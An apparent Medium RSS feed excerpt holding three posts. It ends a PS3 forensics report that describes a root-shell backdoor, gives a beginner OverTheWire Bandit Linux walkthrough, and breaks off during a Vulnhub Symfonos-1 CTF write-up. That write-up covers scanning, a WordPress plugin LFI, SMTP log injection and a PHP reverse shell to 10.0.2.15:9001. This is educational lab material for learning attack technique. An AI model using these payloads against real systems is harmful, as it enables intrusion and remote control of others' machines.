3322040743_08a3b99acd_b.jpg    |     2009-03-06 21:37:40 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:40 PST    |     278528    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3322040743_08a3b99acd_b.jpg    |     jpg          |<br>|     3322064459_d61e14dea5_b.jpg    |     2009-03-06 21:37:40 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:41 PST    |     475136    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3322064459_d61e14dea5_b.jpg    |     jpg          |<br>|     3323556994_59a3982d61_b.jpg    |     2009-03-06 21:37:40 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:41 PST    |     753664    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3323556994_59a3982d61_b.jpg    |     jpg          |<br>|     3323673964_94e64ebddd_b.jpg    |     2009-03-06 21:37:42 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:42 PST    |     253952    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3323673964_94e64ebddd_b.jpg    |     jpg          |<br>|     3316820191_4737c3edf4.jpg      |     2009-03-06 21:37:38 PST    |     0000-00-00 00:00:00    |     2009-03-06 00:00:00 PST    |     2009-03-06 21:37:38 PST    |     139264    |     Unallocated    |     Unallocated    |     unknown    |     /img_nssal-thumb-fs.dd/3316820191_4737c3edf4.jpg      |     jpg          |</pre><p>These files have the same filenames as the ones recovered from nssal and jhuisi’s Linux filesystems along with a few additional files. This shows us that nssal created the images and transferred them to his thumb drive, then to his Linux Filesystem and ultimately they were transferred to jhuisi’s PS3 Linux system.</p><h3>Answers to Questions</h3><ul><li><strong>What relevant user activity can be reconstructed from the available forensic data and what does it show?</strong></li></ul><p><strong>A.</strong> <strong>nssal’s activity</strong></p><p>On Mar. 2 14:34:50 2009, he created Mardi Gras images in the directory of “/home/nssal/Images” in his PS3 system. Between some times on Mar. 5 20:19 2009, he searched the Mardi Gras images from the google website. On Mar. 6 21:37 2009, he deleted Mardi Gras images in the USB Thumb drive.</p><p>On Mar. 11 16:42 2009, he had booted his PS3 system using Ubuntu 8.10 Linux OS and was assigned IP address of 137.30.123.40. He created “jhuisi” account in his PS3 system. Between 16:44 and 17.14 on Mar. 11, 2009, nssal has connected to the jhuisi’s PS3 system using “goatboy” account. Jhuisi and nssal tried to send a message of “Nice doing business with you!”, which was recorded in the “.bash_history” file.</p><p><strong>B.</strong> <strong>jhuisi’s activity</strong></p><p>On Jan. 22 18:15 2009, he created “goatboy” account in his system. On Mar. 11 16:30 2009, he had booted his PS3 system using Ubuntu 9.10 Linux OS using the static IP address of 128.220.249.83. He had a connection to nssal’s PS3 system using “jhuisi” account between 16:50 and 17:10 on Mar. 11, 2009. At the time of Mar. 11 17:02 2009, jhuisi had connected to the nssal’s PS3 system using “nssal” account and logged off after executing a backdoor program. On Mar. 11 16:52:24 2009, he had Mardi Gras images transferred to his sytem from nssal’s PS3 system using “scp” command. On Mar. 11 17:09 2009, he connected to a backdoor port of nssal’s PS3 system.</p><ul><li><strong>Is there evidence of inappropriate or suspicious activity on the system?</strong></li></ul><p>In the 3 evidence files, nssal-linux-side-fs.dd file, jhuisi-linux-side-fs.dd file and nssal-thumb-fs.dd file, we can see that Mardi Gras images are stored or were stored. When we see the meta tag of the Mardi Gras images, we find that the file has last stored using Photoshop program and it is the file nssal has created as we can find “nssal” or “Don’t steal my pictures or I kill you.” strings in the file.</p><p>When we read the Timeline analysis report, P and Q, we can find that the Mardi Gras images has been transferred from nssal-thumb-fs.dd file to nssal-linux-side-fs.dd file and finally from nssal-linux-side-fs.dd to jhuisi-linux-side-fs.dd file. The transmission from nssal-thumb-fs.dd file to nssal-linux-side-fs.dd file was made by nssal’s USB Thumb drive and the transmission from nssal-linux-side-fs.dd to jhuisi-linux-side-fs.dd file was made by jhuisi using encrypted channel from nssal’s PS3 system at the time of Mar. 11 16:52:24, 2009.</p><p>On the directory of /home/jhuisi in the nssal-linux-side-fs.dd, we could find out that there had been a “backd00r” executable file which opens TCP/IP port 45,541 and opens a root shell when it receives strings of “jhuisi” and “mac” continuously, but now it was deleted. On the directory of /home/jhuisi in the jhuisi-linux-side-fs.dd file, the source code of the backdoor is preserved as “backd00r.c” file and the output file of the source code compilation, “a.out” is also preserved in the system. The backdoor program had been executed at the nssal-linux-side-fs.dd file system and jhuisi had the connection to the nssal’s PS3 system using the backdoor from Mar. 11 17:09 2009.</p><p>On the directory of /home/nssal/Recipes/ in the nssal-linux-side-fs.dd file and on the directory of /home/goatboy/Recipes/ in the jhuisi-linux-side-fs.dd file, we could find a file named “andromachi” which has the recipe of opium poppy, so it seems like that we need additional investigation to the drug clue. Through the timeline analysis report, the file has been transferred from jhuisi’s PS3 computer to the nssal’s PS3 computer on Mar. 5, 2009. On the /Recipes/customers folder in thefile, there is a file named “Tí r na nOǵ ” in which the customers’ address is being kept.</p><ul><li><strong>Is there evidence of collaboration with an outside party? If so, what can be determined about the identity of the outside party? How was any collaboration conducted?</strong></li></ul><p>The two PS3 machines (nssal-ps3 and ps3.isi.jhu.edu) were both shut down to be rebooted with Ubuntu Linux at the same time (at approximately 17:29 on March 11). This would indicate some coordination between these two parties. There was no IP communication between these two machines prior to the rebooting of the PS3s.</p><p>The outside party uses the nickname “jhuisi”, which is an acronym for “Johns Hopkins University Information Security Institute” (it can also be noted that nssal is an acronym for “Networking, Security, and Systems Administration Laboratory”, which is a part of the University of New Orleans).</p><p>After booting Linux a series of SSH sessions took place in both directions between these hosts. Several of the SSH sessions are expected to be file transfers due to the high bandwidth usage of the sessions. File transfers are expected to have been made in both directions between the two PS3 machines.</p><ul><li><strong>Is there evidence that illicit data (specifically, Mardi Gras images) was exchanged? If so, what can be determined about that data and the manner of transfer?</strong></li></ul><p>Several Mardi Gras images were viewed and/or downloaded by the user at nssal-ps3. The properties of the SSH connections between to ps3.isi.jhu.edu nssal-ps3 does, however, indicate that approximately 4MB of data was transferred from nssal-ps3 to ps3.isi.jhu.edu on 11–03–2009 17:51:57 by the user at ps3.isi.jhu.edu.</p><p>After analyzing nssal-thumb-fs.dd using Autopsy, the image file that was created and deleted on 02–03–2009 and 06–03–2009 was confirmed.</p><p>It can be confirmed that in /home/nssal/Images of nssal’s PS3 as well, 11 files with the same names were created on 02–03–2009 (/Images folder).</p><p>It can be confirmed that in /home/jhuisi/Pictures of jhuisi’s PS3 as well, 11 files with the same names were created on 11–03–2009.</p><ul><li><strong>What data (if any) was provided by the Johns Hopkins PS3?</strong></li><li><strong>Recipes</strong></li></ul><p>It can be confirmed that a transmission took place, as the recipes located at /home/goatboy were created in nssal’s system on 11–03–2009.</p><ul><li><strong>Images</strong></li></ul><p>Checking the images using exiftool revealed that the nssal was the author, and a text string that says “Don’t steal my pictures or i kill you” was found. Also, it was found that the date of edit was 02–03–2009.</p><p>A text string that says “Don’t steal my pictures of i kill you.” was also found in the images found on jhuisi’s system, and the author was all nssal. That is, it can be confirmed that jhuisi took the images from nssal’s PS3.</p><ul><li><strong>The suspect claims that he was not responsible for any transfer of data. What evidence do you have to show that remote, unauthorized access to the system might have occurred, and does this evidence exonerate the suspect?</strong></li></ul><p>Summarizing the above analysis results, nssal provided the Mardi Gras images to jhuisi and jhuisi in turn provided the recipes. Although nssal can argue that it was a backdoor intrusion to his system, examining the logs of /var/log/auth.log, it can be confirmed that he himself created the user account.</p><p>Therefore, it can be seen that the images were not taken by an intrusion but that it was an intentional act for data exchange.</p><h3>Limitations of the Investigation</h3><p>The investigation encountered constraints. The Memory Dump within the evidence remained unanalyzed due to time and expertise limitations. Despite this, the remaining evidence sufficiently addressed the investigators’ inquiries. Prioritizing other evidence, we abstained from delving into the Memory Dump, concentrating instead on more elucidative material.</p><h3>Conclusion</h3><p>The forensic analysis of the Playstation 3 (PS3) incident involving the user “nssal” and communications with another PS3 user from Johns Hopkins University uncovered critical evidence from network captures and Linux filesystems. Through NetworkMiner and Wireshark analysis, it was established that “nssal” engaged in extensive activities related to Mardi Gras, including searches, downloads, and communications via PS3 networks. Subsequent packet inspections revealed SSH sessions between “nssal” and the Johns Hopkins PS3, indicating mutual access and potential data exchange. Particularly alarming was the discovery of a backdoor utilized by the Johns Hopkins user, providing access to “nssal’s” PS3 and potentially implicating collaborative involvement in transferring Mardi Gras-related images, suggesting possible unauthorized access and data sharing without “nssal’s” explicit consent.</p><p>Further examination of Linux filesystems, specifically jhuisi and nssal’s side OS, demonstrated shared activities between the two users. Notably, both systems contained identical Mardi Gras images and evidence of file transfers over SSH connections. The data revealed the deliberate creation of a backdoor and user accounts, highlighting a coordinated effort between “nssal” and the Johns Hopkins user, potentially facilitating the transfer of illicit images without “nssal’s” full knowledge. This discovery cast doubt on “nssal’s” claim of innocence regarding the image sharing, suggesting a level of cooperation between the involved parties and implying a more complex narrative surrounding the incident. The forensic investigation pointed to potential collaboration and shared responsibility, shedding light on the exchange of illicit data and raising questions about the extent of “nssal’s” awareness and involvement in the activities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0eeb9a3d444" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OvertheWire Bandit Walkthrough Level 0–11]]></title>
            <link>https://salmanahmed69890.medium.com/overthewire-bandit-walkthrough-level-0-11-9bedcbacf19c?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9bedcbacf19c</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Fri, 29 Apr 2022 18:42:30 GMT</pubDate>
            <atom:updated>2022-04-29T18:42:30.798Z</atom:updated>
            <content:encoded><![CDATA[<p>OvertheWire is an online security platform that offers wargames to help students and security professionals learn and practice security concepts.</p><p>The Bandit wargame is meant for novices. It teaches the fundamental command-line skills that are key to succeeding in cybersecurity.</p><p>To get started, go to <a href="https://overthewire.org/wargames/bandit">https://overthewire.org/wargames/bandit</a></p><h3>Bandit 0</h3><p>This level is pretty easy considering all you need to do is SSH into the level on port 2220 with the credentials “bandit0:bandit0” and read a file.</p><p>To do this, you’ll need an SSH client. If you’re on Linux or Mac, then you can just type this command into the terminal and hit enter.</p><p>If you’re on Windows you can use Putty or SolarPutty. If you’ve decided to use Android, then Termux is your friend.</p><pre>ssh bandit0@bandit.labs.overthewire.org -p 2220</pre><p>You’ll now be dropped into a Linux shell. Your first move should be to see whether there are any interesting files within the current directory. To do this, simply enter the command “ls” into the terminal. ls is used to show the contents of a directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*0e66Qc-RaeBFaesW8ajtbg.png" /></figure><p>The next thing that you wanna do is read the file to see if it has anything interesting. cat is the command used to read files in Linux so go ahead and cat the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*Dd77f5ALtZMn4gjLGaCu2Q.png" /></figure><p>You now have the password for the next level.</p><h3>Bandit 1</h3><p>This level is very similar to the previous level. The only new thing here is that the file you have to read is named “-”.</p><p>While this level seems straightforward, simply passing the file’s name “-” to cat doesn&#39;t work. To quit cat, press Control+C.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/1*UgTP5GfNx4uvt8V3M0ri7w.png" /></figure><p>This is because <strong>bash</strong> or the “Bourne Again Shell” interprets the “-” as a special character. To overcome this, we simply precede the file’s name with “<strong>./</strong>”. The dot stands for “<strong>current directory</strong>” whereas the slash separates the directory from the file(s).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*Xn5oJ0RnKh77w6ceow2y0Q.png" /></figure><p>There you go, you found the password for level 2.</p><h3>Bandit 2</h3><p>The page for this level says that the file you have to read has spaces in its name. While it may seem simple enough to pass the name as it is to cat, this doesn&#39;t work. That&#39;s because arguments passed to a program in a shell are separated by spaces. To overcome this hurdle, there are two approaches.</p><p><strong>The Quotation Mark Approach:</strong></p><p>This is the easiest way to complete this level. Simply pass the name of the file enclosed in single or double quotes to cat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*Ok6XGftPrYthoBzPNoJoig.png" /></figure><p>Note that the opening and closing quotes must be same. You can’t start with single quotes and end with double quotes.</p><p><strong>The Backslash Approach:</strong></p><p>Although this approach isn’t particularly difficult, it isn’t as straightforward. To complete the level this way, you have to precede each <strong>space</strong> in the filename with a backslash <strong>\</strong> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*BTuxxdGLEiPuDQRohfu0wQ.png" /></figure><p>This is because bash interprets the backslash as an <strong>escape character</strong>. Escape characters are used when we want the shell to ignore special characters and interpret them as simple text. In this case, putting the backslash before the spaces prevents them from getting interpreted as spaces. Do keep in mind that the backslash itself is also ignored. If you need to enter a backslash as an input, be sure to precede it with another backslash.</p><h3>Bandit 3</h3><p>According to the information provided by the level page, the password for the next level is stored in a <strong>hidden</strong> file within the “inhere” directory.</p><p>To get started, login to the level and cd into &quot;inhere&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*Fy0n3yzprIRoZGhdBdPlAw.png" /></figure><p>You should try listing the files within the directory using ls. This doesn&#39;t work because the file is hidden. To view hidden files in Linux, we have to supplement the ls command with the -a switch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*IJiBSGg3ZwlizShJP09ezg.png" /></figure><p>Note that the file “.hidden” starts with a dot. In Linux, if a file’s name starts with a dot then by default it is hidden from view. If you were to view the “inhere” directory in a File Manager, the file would be hidden. Now go ahead and cat the file to get the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*f42DsdJRqNJBdQPqEWe0lw.png" /></figure><h3>Bandit 4</h3><p>The page for the level says that the password for the next level is stored in the only <strong>human-readable</strong> file in the “inhere” directory. It seems quite straightforward to just cat each file until we get the file with the password but this isn&#39;t the most efficient way to do it and as hackers we strive for efficiency.</p><p>cd into the &quot;inhere&quot; directory and run ls to see all the files in the current directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*JS1SWDbTOVEnm0xj34fXnQ.png" /></figure><p>For completing this level, we’ll need to use the file command. The file command tells us about the nature of the contents of a file. Run it against any given file to see what it says about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*c5q9_U5K2dwB-Su6Letdpw.png" /></figure><p>Note that all of the files have similar names except for the last digit. In order to run file against all these files quickly, we replace the last digit with an asterisk (*). This tells the shell to run file on all files beginning with &quot;./-file0&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*7sjoxarTQqATbKDe4FhrVA.png" /></figure><p>The seventh file contains ASCII text which is human readable. Simply cat the file and get the password for the next level.</p><h3>Bandit 5</h3><p>The password for the next level is stored in a file beneath the “inhere” directory and the file has the following properties.</p><ul><li>human-readable</li><li>1033 bytes in size</li><li>not executable</li></ul><p>After logging into the level and exploring the directory, you will see that there are a lot of sub-directories and files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFdXYvQ4t8D3qpn2bepnBg.png" /></figure><p>This makes it difficult to simply use file to complete the level. For completing this level, we&#39;ll also need to use the find command. As the name implies, it is used to find files. The command needed to find the password is</p><pre>find  inhere/ -type f -size 1033c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*ideqUout5l_zoCykgzseBA.png" /></figure><p><strong>How this works:</strong></p><ul><li>The find command looks for files in and below the &quot;inhere&quot; directory.</li><li>The -type f argument tells find to only look for human-readable files.</li><li>The -size 1033c argument tells find to only show files that are 1033 bytes in size.</li></ul><h3>Bandit 6</h3><p>In this level, we’re gonna be looking for a file stored <strong>somewhere on the system</strong> that has the following properties.</p><ul><li>owned by the user bandit7</li><li>owned by the group bandit6</li><li>33 bytes in size</li></ul><p>Like the previous level, we’re gonna be using the find command to complete this level. The command used to find the password containing file is</p><pre>find / -type f -user bandit7 -group bandit6 -size 33c 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*dUZ0chn9zKr4SNWS7dpzJA.png" /></figure><p><strong>How this works:</strong></p><ul><li>The find command looks for files in and below the root directory (/). The root directory is the uppermost directory in Linux filesystems. All sub-directories and files lie below the root directory.</li><li>The -type f argument tells find to look for human-readable files.</li><li>The -user bandit7 argument tells find to look for files owned by the user &quot;bandit7&quot;.</li><li>The -group bandit6 argument tells find to look for files owned by the group &quot;bandit6&quot;. This includes all users in the &quot;bandit6&quot; group.</li><li>The size 33c tells find to only look for files that are 33 bytes in size.</li><li>The 2&gt;/dev/null prevents errors from being printed.</li></ul><p><strong>Note:</strong> All the commands and concepts you’ve learned so far will come in handy anytime you deal with a Linux system. So, practice using them.</p><h3>Bandit 7</h3><p>In this level, the file containing the password is already given to us. All we have to do is extract the password from it. Upon running cat on the file, you&#39;ll get something like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*u1XQSCj9za8AEduTfYgn-A.png" /></figure><p>According to the level information, the password is stored next to the word millionth. To get the password we’ll have to use grep. grep is a command line utility used to search for particular expressions (or simply text) within text files. To use grep, we need to pass two arguments. The text we&#39;re searching for and the file we&#39;re searching in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*Q6feKpAtXi-ApPS6Aeh6_Q.png" /></figure><p>There you go, we just found the password for level 8.</p><h3>Bandit 8</h3><p>The password for the next level is in “data.txt” and it is the only line of text that occurs once. To get the password from this file, we’ll need to use sort and uniq. sort is a command used to sort the contents of a text file, line by line. We need to sort this file to be able to extract the password. uniq is a command used for filtering the repeated lines in a file.</p><p>We should be able to just use uniq to complete this level but this approach doesn&#39;t work. We need to sort the file before passing it to uniq.</p><p>To get the password, run this command</p><pre>cat data.txt | sort | uniq -u</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*g9KEOjgtCHABwLtmSetXag.png" /></figure><p><strong>How this works:</strong></p><ul><li>We start by running cat on data.txt to get its contents. The cat command is followed by the pipe ( | ) character. This is a special character that tells bash to pass the output of the command before it to the command after the pipe. In this way, we can process data through multiple programs using a single-line command.</li><li>The output of cat data.txt is passed to sort which sorts it and makes it easier for uniq to extract the password.</li><li>After the output is sorted, it is <strong>piped</strong> into uniq -u . By default uniq only filters the repeated lines which are adjacent to each other. By using the -u argument, we tell uniq to remove all duplicates whether they are adjacent or not.</li></ul><h3>Bandit 9</h3><p>The password for level 10 is stored in “data.txt” next to a couple of “=” characters. When we try to run grep to get the password, we get this output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*jf2eT5FH544AlMqerolMiQ.png" /></figure><p>This is because the file data.txt contains binary data which is why grep treats it as a binary file. Binary data is not human readable. To overcome this, we&#39;ll use strings. strings filters out the human-readable text &quot;strings&quot; from binary files. We&#39;ll pipe the output of strings to grep to get the password</p><pre>strings data.txt | grep =</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*fvInQcucdssZpaJmapBjyA.png" /></figure><p>The password for the next level is on the second last line.</p><h3>Bandit 10</h3><p>Just like the last few levels, the password for the next level is stored in data.txt but the contents are <strong>Base64 encoded</strong>. Encoding is generally used to convert data into a format which can be easily transported between computers or programs. It is also used for data processing purposes such as file conversion. Running cat on the file, we get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*O7HJRWsEAN53OnDLIicQSQ.png" /></figure><p>To <strong>decode</strong> the data stored in the file, we’ll be using the base64command with the -d or the --decode parameter which tells base64 to decode the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*lAssi-Ncfa-4W29vw3EZcw.png" /></figure><h3>Bandit 11</h3><p>The password for level 12 is stored in “data.txt” and its alphabetical characters have been rotated by 13 positions. It is <strong>encrypted</strong> by a substitution cipher known as <strong>ROT13</strong>. <strong>Encryption</strong> is a process by which information is <strong>encoded</strong> into a form called <strong>ciphertext</strong>. Ideally, encryption prevents unauthorized access to information but <strong>ROT13</strong> can be easily <strong>decrypted</strong> or <strong>deciphered</strong>. This is because we can simply replace each character by the letter 13 places ahead of it.</p><p>For this level, there are two ways to get the password.</p><p><strong>Using an online decoder:</strong></p><p>We can use Google or any other search engine to look for a <strong>ROT13</strong> decoder. I like using rot13.com. Simply copy the text from data.txt and paste it into the rot13 decoder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*lagmD0mw3Ro9SSq7IDRTfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*82SlhwBx8bCmMUS6FMRB7g.png" /></figure><p>After completing these challenges, you should have a decent grip on the Linux command line and the thinking skills required to complete more challenges.</p><p>If you have any queries, feel free to contact me via email or hit me up on Twitter.</p><p>E-mail: <a href="/service/mailto:salmanahmed69890@gmail.com">salmanahmed69890@gmail.com</a></p><p>Twitter: @porcupine690</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9bedcbacf19c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub: Symfonos-1 Walkthrough CTF Writeup]]></title>
            <link>https://salmanahmed69890.medium.com/vulnhub-symfonos-1-walkthrough-ctf-writeup-3a4ace7c9786?source=rss-b2efbbcccf0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a4ace7c9786</guid>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Salman Ahmed]]></dc:creator>
            <pubDate>Sun, 02 May 2021 08:51:27 GMT</pubDate>
            <atom:updated>2021-05-02T08:51:27.589Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnhub: Symfonos-1 Walkthrough</h3><p>Machine details</p><ul><li>Title: Symfonos-1</li><li>Author: @zayotic</li><li>Difficulty: Easy/Intermediate</li><li>Flags: 2 (user and root)</li><li>Techniques: Service Misconfiguration, Web Vulnerability, SUID Binaries</li><li>Operating System: Linux</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Mi8MkeV1AWsDT5C5aDRX0Q.png" /></figure><h3>Scanning and Enumeration</h3><p>Let’s begin by discovering the IP address of the machine. You can use netdiscover, nmap, arp-scan or any other tool you prefer.</p><p>I prefer an nmap ping scan.</p><pre>nmap -sn -T4 -n 10.0.2.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*rIg9JayZjt_Ic5nyEH1hoA.png" /></figure><p>We’ll initiate a port scan to discover all open ports on the target.</p><pre>nmap -sS -T4 -Pn -n -p- 10.0.2.13 -oN nmap_allport_symfonos_1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9F1IWY5g2AUxngvdn0JW2w.png" /></figure><p>Now run an aggressive scan to discover service applications, their versions and other important information</p><pre>sudo nmap -T4 -A -p 22,25,80,139,445 10.0.2.13 -oN nmap_aggressive_symfonos_1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tyaxbUJnmkIrMoCjTMlhzQ.png" /></figure><p>Let’s learn more about the web app by running whatweb on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ObmFbcZ2kPrCVFKw6gXOJg.png" /></figure><p>Run gobuster to discover hidden content on the web app.</p><pre>gobuster dir -u <a href="http://10.0.2.13/">http://10.0.2.13/</a> -w /usr/share/wordlists/dirb/common.txt -o gobuster_common_symfonos_1<br>​<br>​</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*odbg4vacCmryBjH4e-5Y1A.png" /></figure><p>Looks like a default installation of Apache2.</p><p>We’ll begin enumerating SMB by running enum4linux on it and saving the results to a file.</p><pre>enum4linux -a 10.0.2.13 &gt; enum4linux_all_symfonos_1</pre><p>Once it’s done, read the contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QOn6o2GJkU6EjJR_x-IOGw.png" /></figure><p>Reading through the results, we see that ‘helios’ is a user on the system.</p><h3>SMB</h3><p>Let’s see if there any SMB shares we can access. You can use both command line tools or a file manager for this.</p><p>I prefer using the file manager because it’s easier and faster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*8PLUtyTd4R-VohDtzVYLSg.png" /></figure><p>Open the anonymous folder. If you’re prompted to authenticate, use guest authentication. If that doesn’t work, you can use the credentials anonymous:anonymous.</p><p>Examining the contents of anonyomous, we find a file named ‘attention.txt’. Read its contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*_W1LdqNl3CzruqrnZ0wW_A.png" /></figure><p>Apparently these are passwords used by users of the system. Let’s try opening the ‘helios’ directory as the user helios with these passwords. The password ‘qwerty’ is valid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*TS1Mqiszo4Fld_W7fGXvOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*vovqIAhyPhzmHw4CVPemsg.png" /></figure><p>Copy these files over to your system and read their contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GzYXEuFGv__bw_or3CAQwg.png" /></figure><p>There’s an interesting directory named ‘h3l105’. Let’s view it using a web browser.</p><h3>HTTP</h3><p>Viewing the h3l105 directory, we can see that there is a Wordpress installation here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*7-TYSPpKa6ZxoXpzaBheFA.png" /></figure><p>Before moving on, we’ll review this page’s source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T7wElM-Id7waxEmq__LH1w.png" /></figure><p>Apparently, the site has a domain name of symfonos.local . We’ll add it to our /etc/hosts file so we don’t miss anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*z8G45XmNn5MSV2OXlh8VZg.png" /></figure><p>We’ll reiterate the enumeration steps above by running whatweb and gobuster on this Wordpress installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*evluaytQDvuo_lCbDyvbFg.png" /></figure><p>Now we’ll run wpscan to discover any potential vulnerabilities.</p><pre>wpscan --url <a href="http://symfonos.local/h3l105/">http://symfonos.local/h3l105/</a> --enumerate p,t,tt,cb,dbe,u,m</pre><p>Going through the results, there are a couple of interesting findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w0cYt2bBgqbaEbiLRDJtVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*YMEO76kZ3eHuzDysy3rDlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*O78712XU0X2_TTm48P3Z1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nM32KdQnDrkgB_7jtbiXUA.png" /></figure><p>Googling the plugins reveals that the plugin ‘mail-masta 1.0’ is vulnerable to Local File Inclusion. Local File Inclusion is a vulnerability that allows an attacker to view files present on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z-6lsy0E-D8s_sXyE7UYZg.png" /></figure><p>The exploit-db webpage has a proof of concept we can use to test the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*gdeeAzJK3sUH-vLn9lNssw.png" /></figure><p>The plugin is indeed vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*1zzb24oYRRgIVg7uv4AZgQ.png" /></figure><h3>Gaining initial foothold</h3><p>Now that we can view files on the system. We can try an attack called ‘log injection’. In this type of attack, an attacker attempts to insert malicious code into a log file and then views the log file using the browser. As soon as that file is viewed, the malicious code inside it is executed.</p><p>Let’s begin enumerating various log files to see if we can view them.</p><p><strong>/var/log/auth.log</strong> [INACCESSIBLE]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dadFd1usOfsmTNOq_4dkCQ.png" /></figure><p><strong>/var/log/apache2/access.log</strong> [INACCESSIBLE]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZPdqgkXb4gKDAOdxrq1fwQ.png" /></figure><p>It seems that we aren’t able to view log files. Let’s try something else.</p><p>Since there is a user called ‘helios’ on the system. They might have a mail file we can view.</p><p>Let’s try viewing <strong>/var/mail/helios</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wMJ0JolPalVsCKO1bhAnHQ.png" /></figure><p>We can view this file.</p><p>As SMTP is running on port 25, we can use it to send a mail to the user ‘helios’ containing malicious PHP code. Before sending the malicious code, let’s verify if this vulnerability exists by first sending a test message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*QJ5kB2M04oqa8LhWlc_pkQ.png" /></figure><p>Upon viewing the mail file in the browser, we can see that log injection exists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*qtTo8LnkIGwPu9uvIi_hzQ.png" /></figure><p>Now let’s start a netcat listener on our system and inject a PHP reverse shell into the mail file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*ZwQLcce3CN6Xt2xIH1NjmA.png" /></figure><pre>&lt;?php<br>$sock=fsockopen(&quot;10.0.2.15&quot;,9001);<br>$proc=proc_open(&quot;/bin/sh -i&quot;, array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock),$pipes);<br>?&gt;</pre><figure><img alt="" 